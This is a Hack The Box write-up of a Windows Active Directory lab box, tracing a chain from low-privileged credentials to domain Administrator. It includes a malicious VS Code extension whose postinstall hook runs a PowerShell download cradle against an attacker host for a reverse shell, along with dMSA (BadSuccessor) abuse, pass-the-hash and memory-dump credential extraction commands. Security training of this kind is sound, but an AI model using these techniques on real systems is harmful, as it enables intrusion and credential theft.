Checkpoint
Checkpoint is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller and a developer-centric "approved VS Code extension" deployment workflow.
- platform
- Hack The Box
- target_os
- Windows (Server 2025 / Build 26100)
- difficulty
- Medium
- season
- Season 11
- logged
- June 18, 2026
Summary of Exploitation
Checkpoint is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller and a developer-centric “approved VS Code extension” deployment workflow. Starting from a single set of low-privileged domain credentials (alex.turner), the chain proceeds as follows:
- Share enumeration reveals a
DevDropshare (write-gated) used to auto-install approved.vsixextension packages, and aVMBackupsshare (access-gated). - AD Recycle Bin abuse —
alex.turnerholds write rights over a tombstoned object,Mark Davies. Restoring the account and discovering its password is reused (Checkpoint2024!) grants write access toDevDrop. - Malicious VS Code extension — a crafted
.vsixdropped intoDevDropis auto-installed by a scheduled deploy job running asryan.brooks, yielding a foothold shell. - BadSuccessor (dMSA abuse) —
ryan.brookssits in an OU where they can create a delegated Managed Service Account. Creating a dMSA that “supersedes”svc_deployreturnssvc_deploy’s key material via the Kerberos KERB-DMSA-KEY-PACKAGE. - Credential recovery from a VM backup —
svc_deploy(member ofBackupAccess) can readVMBackups, which contains a VMware memory snapshot. Volatility extracts the Administrator hash, completing the chain.
Recon Phase
An initial full-port Nmap scan was run against the target:
nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 53 | open | domain | Simple DNS Plus |
| 88 | open | kerberos-sec | Microsoft Windows Kerberos |
| 135 | open | msrpc | Microsoft Windows RPC |
| 139 | open | netbios-ssn | Microsoft Windows netbios-ssn |
| 389 | open | ldap | Microsoft Windows AD LDAP (Domain: checkpoint.htb) |
| 445 | open | microsoft-ds | |
| 464 | open | kpasswd5 | |
| 593 | open | ncacn_http | Microsoft Windows RPC over HTTP 1.0 |
| 636 | open | ldapssl | |
| 3268 | open | ldap | Global Catalog |
| 5985 | open | http | Microsoft HTTPAPI httpd 2.0 (WinRM) |
| 9389 | open | mc-nmf | .NET Message Framing (AD Web Services) |
Key takeaways from recon:
- The host is the domain controller DC01.checkpoint.htb (
domain: checkpoint.htb). - SMB signing is required, and the DC enforces LDAP signing / channel binding — relevant later, as several tools that default to unsigned LDAP or LDAPS will fail and need a sign-and-seal-over-389 path.
- A large clock skew (~7h) was observed (
clock-skew: 6h59m59s), which must be corrected before any Kerberos operations.
The domain and DC hostname were added to /etc/hosts:
echo "<target-ip> DC01.checkpoint.htb checkpoint.htb DC01" | sudo tee -a /etc/hosts
Note on time sync. Kerberos rejects requests outside a ~5 minute window. Sync before each Kerberos step:
sudo rdate -n <target-ip> # or: sudo ntpdate <target-ip>
SMB Enumeration
With the provided credentials (alex.turner:Checkpoint2024!), shares were enumerated:
nxc smb <target-ip> -u alex.turner -p 'Checkpoint2024!' --shares
Results:
| Share | Permissions | Remark |
|---|---|---|
| ADMIN$ | — | Remote Admin |
| C$ | — | Default share |
| DevDrop | READ | VS Code extensions share for approved .vsix packages (engine 1.118.0) |
| IPC$ | READ | Remote IPC |
| NETLOGON | READ | Logon server share |
| SYSVOL | READ | Logon server share |
| VMBackups | — | (no access as alex.turner) |
The DevDrop remark is the central hint: an automated workflow installs approved .vsix packages compatible with VS Code engine 1.118.0. A VS Code extension executes arbitrary code on activation/installation, so write access to this share equals code execution as whoever runs the installer. As alex.turner, the share is read-only — write access must be obtained first.
Spidering confirmed DevDrop was empty and SYSVOL held only default GPO files:
nxc smb <target-ip> -u alex.turner -p 'Checkpoint2024!' -M spider_plus
AD Enumeration
A full collection attempt via BloodHound’s bundled collectors failed against this DC due to the LDAPS/channel-binding configuration:
[-] BloodHound collection failed: LDAPSocketOpenError - socket ssl wrapping error: [Errno 104] Connection reset by peer
bloodhound-python, certipy (LDAPS), and several ldap3-based tools hit the same wall — the DC refuses unsigned LDAP (strongerAuthRequired) and its LDAPS handshake resets / offers no usable ciphers (NO_CIPHERS_AVAILABLE). The reliable path on this box is plain LDAP over port 389 with sign-and-seal, which nxc LDAP queries and bloodyAD use by default.
User and group enumeration over plain LDAP:
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --users
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --groups
Notable findings:
| Account | Note |
|---|---|
| svc_deploy | “Deployment service account” |
| ryan.brooks | Password reset later than most accounts |
| max.palmer | Password reset most recently of all accounts |
| Group | Members | Relevance |
|---|---|---|
| DevTeam | 3 | Likely holds DevDrop write access |
| BackupAccess | 1 | Maps to the locked VMBackups share |
Group membership confirmed the structure:
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --query "(cn=DevTeam)" "member"
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' --query "(cn=BackupAccess)" "member"
- DevTeam → Brian Jenkins, Michael Torres, Ryan Brooks
- BackupAccess → svc_deploy (sole member)
AS-REP roasting and Kerberoasting returned nothing reachable, so the path forward is through ACLs rather than credential roasting.
Exploitation Phase
Step 1 — AD Recycle Bin: Restoring Mark Davies
An ACL review of what alex.turner can write to was performed with bloodyAD:
bloodyAD --host <target-ip> -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable
This surfaced write access over a deleted object in the AD Recycle Bin:
distinguishedName: CN=Mark Davies\0ADEL:...,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
The deleted object was inspected using the show-deleted control OIDs:
bloodyAD --host <target-ip> -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
get search --base 'CN=Deleted Objects,DC=checkpoint,DC=htb' \
--filter '(objectClass=user)' \
--attr sAMAccountName,memberOf,lastKnownParent \
-c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
The account was then restored:
bloodyAD --host <target-ip> -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
set restore 'mark.davies'
Verification confirmed mark.davies was live and enabled (userAccountControl: 66048 = NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD, no ACCOUNTDISABLE bit):
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' \
--query "(sAMAccountName=mark.davies)" "userAccountControl"
Step 2 — Password reuse → DevDrop write access
Password-reset and shadow-credential attacks (SAMR reset, certipy shadow, pywhisker) were blocked — alex.turner holds GENERIC_WRITE (not the force-change-password right) over mark.davies, and PKINIT is unsupported on the DC (KDC_ERR_PADATA_TYPE_NOSUPP). However, the restored account turned out to reuse the same password as the initial foothold account:
nxc smb <target-ip> -u mark.davies -p 'Checkpoint2024!' # [+] success
Re-checking shares as mark.davies revealed the prize — READ,WRITE on DevDrop:
nxc smb <target-ip> -u mark.davies -p 'Checkpoint2024!' --shares
| Share | Permissions |
|---|---|
| DevDrop | READ,WRITE |
mark.davies is the DevDrop writer — exactly the identity the foothold required.
Step 3 — Malicious VS Code extension (.vsix) → shell as ryan.brooks
A .vsix is a ZIP archive containing the extension assets plus metadata. Extensions execute code on activation, and npm lifecycle scripts (e.g. postinstall) run automatically when the package is processed — so the package was built with both triggers for reliability.
extension/package.json (the engine field must satisfy the advertised 1.118.0):
{
"name": "approved-pkg",
"displayName": "Approved Package",
"publisher": "checkpoint",
"version": "1.0.0",
"engines": { "vscode": ">=1.118.0" },
"main": "./extension.js",
"scripts": { "postinstall": "node ./payload.js" },
"activationEvents": ["onStartupFinished"],
"contributes": {}
}
extension/payload.js and extension/extension.js — both invoke a download cradle (no AV on the target, so a plain cradle is sufficient):
const cp = require('child_process');
cp.exec('powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(\'http://<attacker-ip>/s.ps1\')"');
Plus the two root metadata files required by the package format — extension.vsixmanifest and [Content_Types].xml.
A standard PowerShell TCP reverse shell was hosted as s.ps1:
python3 -m http.server 80 # serves s.ps1
rlwrap nc -lvnp 9098 # catches the shell
The package was zipped and uploaded to DevDrop as mark.davies:
zip -r approved-pkg.vsix extension/ extension.vsixmanifest '[Content_Types].xml'
smbclient //<target-ip>/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \
-c 'put approved-pkg.vsix'
A scheduled deploy job (C:\Scripts\..., which iterates .vsix files in DevDrop and runs code --install-extension <file> --force) processed the package and triggered the cradle. A shell landed as checkpoint\ryan.brooks — a member of DevTeam and VPN-Users.
User flag:
type C:\Users\ryan.brooks\Desktop\user.txt
Step 4 — BadSuccessor (dMSA abuse) → svc_deploy keys
ryan.brooks was found to reside in OU=DMSAHolder, flagged by the BadSuccessor check:
nxc ldap <target-ip> -u alex.turner -p 'Checkpoint2024!' -M badsuccessor
ryan.brooks (S-1-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb
BadSuccessor (a Server 2025 delegated Managed Service Account abuse) lets a principal who can create a dMSA in an OU mark that dMSA as the “successor” of any target account; on simulated migration the KDC issues the target’s key material to the dMSA via the KERB-DMSA-KEY-PACKAGE.
A Kerberos ticket for ryan.brooks was used (after a fresh time sync), and bloodyAD (current version — the dMSA module in older builds had a serialization bug) created the malicious dMSA superseding svc_deploy:
sudo rdate -n <target-ip>
bloodyAD -k ccache=ryan.ccache -u ryan.brooks --dc-ip <target-ip> --host dc01.checkpoint.htb \
-d checkpoint.htb add badSuccessor evilDMSA2 \
-t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \
--ou "OU=DMSAHolder,DC=checkpoint,DC=htb"
The tool created the dMSA, requested its TGT, and returned the previous keys of the superseded account — i.e. svc_deploy’s hashes:
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9
Tooling notes
- The DC rejects unsigned LDAP and resets LDAPS; supply
-k ccache=...and-u ryan.brooksso the tool can resolve its own identity (otherwise it errors with(sAMAccountName=None)).New-ADServiceAccounton the host creates a gMSA, not a delegated MSA, and lacks themsDS-ManagedAccountPrecededByLink/msDS-DelegatedMSAStateattributes — use the dedicated tooling instead.- Re-mint the Kerberos ccache after each
rdateresync, as ticket timestamps are time-bound.
The RC4 key is svc_deploy’s NT hash. Pass-the-hash confirmed it:
nxc smb <target-ip> -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
nxc smb <target-ip> -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares
svc_deploy (sole member of BackupAccess) now had READ on VMBackups.
Step 5 — VM backup → Administrator hash → Root
VMBackups contained a nightly backup folder holding a VMware memory snapshot of a Server 2019 VM:
NightlyBackup_2024-11-01\memory forensics\
Windows Server 2019-Snapshot1.vmem (2 GB raw memory image)
Windows Server 2019-Snapshot1.vmsn
Windows Server 2019.vmdk (10 GB base disk)
...
The .vmem (a raw memory dump) was retrieved as svc_deploy:
smbclient //<target-ip>/VMBackups -U 'checkpoint.htb\svc_deploy' \
--pw-nt-hash --password='e16081eb077aca74bdbf8af12af43ac9' \
-c 'cd "NightlyBackup_2024-11-01\memory forensics"; get "Windows Server 2019-Snapshot1.vmem" vmem.raw'
Volatility 3 parsed the image and dumped credential material:
vol -f "Windows Server 2019-Snapshot1.vmem" windows.info
vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump
vol -f "Windows Server 2019-Snapshot1.vmem" windows.lsadump
vol -f "Windows Server 2019-Snapshot1.vmem" windows.cachedump
Syntax gotcha: quote the
-fpath so the spaces in the filename don’t get parsed as the plugin name:vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump(plugin last, file quoted).
The recovered Administrator NT hash was used to pass-the-hash and obtain a privileged session:
nxc smb <target-ip> -u Administrator -H <admin-hash>
evil-winrm -i <target-ip> -u Administrator -H <admin-hash>
Root Flag Successfully Obtained
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<root_flag>
Key Takeaways
- Read share remarks as design hints. The
DevDrop“approved .vsix / engine 1.118.0” note was the entire foothold premise — automated extension installation is code execution by another name. - The AD Recycle Bin is attack surface. Write rights over a tombstoned object allow restoration; combined with password reuse, a restored account became the route to DevDrop write access.
- Know the DC’s transport posture. This Server 2025 DC enforced LDAP signing and broke LDAPS — tools defaulting to unsigned LDAP or LDAPS failed, while sign-and-seal-over-389 (nxc LDAP, bloodyAD) worked. Recognising this early saves significant time.
- BadSuccessor (dMSA abuse) is a powerful Server 2025 primitive. The ability to create a delegated MSA in an OU let a low-priv account inherit a service account’s keys via the KERB-DMSA-KEY-PACKAGE — no password cracking required.
- Backups are credential goldmines. A VM memory snapshot in a readable share yielded the Administrator hash directly via Volatility, bypassing the need to touch the live LSASS.
- Mind the clock. A ~7h skew silently breaks every Kerberos step until corrected; re-sync (and re-mint tickets) before each Kerberos operation.
Full Attack Chain
alex.turner (given creds)
└─ write over deleted object ──> restore Mark Davies
└─ password reuse ──> mark.davies ──> DevDrop WRITE
└─ malicious .vsix ──> shell as ryan.brooks (DevTeam) [USER]
└─ BadSuccessor / dMSA ──> svc_deploy hash (BackupAccess)
└─ VMBackups ──> .vmem ──> Volatility ──> Administrator hash [ROOT]